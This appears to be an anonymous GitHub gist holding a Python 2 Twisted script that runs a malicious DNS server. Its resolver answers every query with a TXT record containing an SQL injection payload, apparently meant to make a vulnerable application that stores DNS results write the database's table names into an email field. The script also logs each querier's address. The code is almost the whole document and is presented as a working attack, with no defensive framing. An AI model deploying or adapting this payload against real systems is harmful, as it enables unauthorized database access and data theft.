Skip to content

Instantly share code, notes, and snippets.

Created April 14, 2014 07:43
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save anonymous/ea292c8dc60a2d8fba50 to your computer and use it in GitHub Desktop.
Save anonymous/ea292c8dc60a2d8fba50 to your computer and use it in GitHub Desktop.
import socket
import time
from twisted.internet.protocol import Factory, Protocol
from twisted.internet import reactor
from twisted.names import dns
from twisted.names import client, server
from twisted.internet import defer
class MyResolver(client.Resolver):
def lookupAllRecords(self, name, timeout=None):
results = []
authority = []
additional = []
_ttl = 0
INJ = "',email=(SELECT GROUP_CONCAT(table_name) from information_schema.tables where schema_name!='information_schema'),resetinfo='"
record = dns.Record_TXT(INJ, ttl=_ttl)
results.append( dns.RRHeader(name, type=record.TYPE, payload=record, auth=True,ttl=_ttl) )
print INJ
return defer.succeed((results, authority, additional))
class DNSServerFactory(server.DNSServerFactory):
def gotResolverResponse(self, (ans, auth, add), protocol, message, address):
qname = message.queries[0].name.name
print time.time(), address
print message.queries
print 'ans',ans
args = (self, (ans, auth, add), protocol, message, address)
return server.DNSServerFactory.gotResolverResponse(*args)
verbosity = 0
resolver = MyResolver(servers=[('8.8.8.8', 53)])
factory = DNSServerFactory(clients=[resolver], verbose=verbosity)
protocol = dns.DNSDatagramProtocol(factory)
factory.noisy = protocol.noisy = verbosity
reactor.listenUDP(53, protocol)
reactor.listenTCP(53, factory)
reactor.run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment